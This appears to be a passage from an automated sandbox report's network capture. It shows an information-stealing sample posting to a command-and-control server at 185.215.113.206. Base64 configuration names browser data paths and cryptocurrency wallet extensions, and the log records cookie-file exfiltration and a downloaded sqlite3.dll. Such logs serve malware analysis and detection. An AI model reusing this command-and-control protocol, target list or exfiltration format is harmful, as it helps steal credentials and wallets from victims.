R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 28, 2024 02:27:15.860238075 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 28, 2024 02:27:15.866612911 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="message"plugins------GCAFCAFHJJDBFIECFBKE--
Nov 28, 2024 02:27:16.309628010 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 28, 2024 02:27:16.309885979 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 28, 2024 02:27:16.309891939 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 28, 2024 02:27:16.310476065 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Nov 28, 2024 02:27:16.310491085 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Nov 28, 2024 02:27:16.311549902 CET	448	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Nov 28, 2024 02:27:16.311681986 CET	1236	IN	Data Raw: 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 46 38 4d 48 77 77 66 45 31 31 62 48 52 70 64 6d 56 79 63 31 67 67 52 47 Data Ascii: MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2x
Nov 28, 2024 02:27:16.312146902 CET	468	IN	Data Raw: 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 52 38 63 47 56 75 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 Data Ascii: aWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3B
Nov 28, 2024 02:27:16.313491106 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"fplugins------CAAEBKEGHJKEBFHJDBFC--
Nov 28, 2024 02:27:16.756341934 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 28, 2024 02:27:16.774667025 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: 185.215.113.206 Content-Length: 6751 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 02:27:16.774667025 CET	6751	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 28, 2024 02:27:17.840082884 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:18.250668049 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 02:27:18.692028999 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 28, 2024 02:27:18.692044973 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49788	185.215.113.206	80	1612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:27:27.906547070 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------ECAFHIIJJECGDHIEGDAK--
Nov 28, 2024 02:27:29.743352890 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:29.901386976 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="file"------AEGHCFIDAKJEBGCAFBAE--
Nov 28, 2024 02:27:30.840315104 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49823	185.215.113.206	80	1612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 02:27:37.273688078 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIEC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 02:27:37.273782015 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 28, 2024 02:27:39.168842077 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 02:27:39.298316956 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 39 31 34 62 66 35 65 61 34 30 30 32 31 32 32 39 33 33 37 61 30 32 39 61 34 31 32 31 64 37 34 33 66 65 66 65 37 36 38 63 64 61 34 66 32 35 62 64 34 38 38 35 34 30 39 39 65 64 62 38 34 62 65 66 33 64 66 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 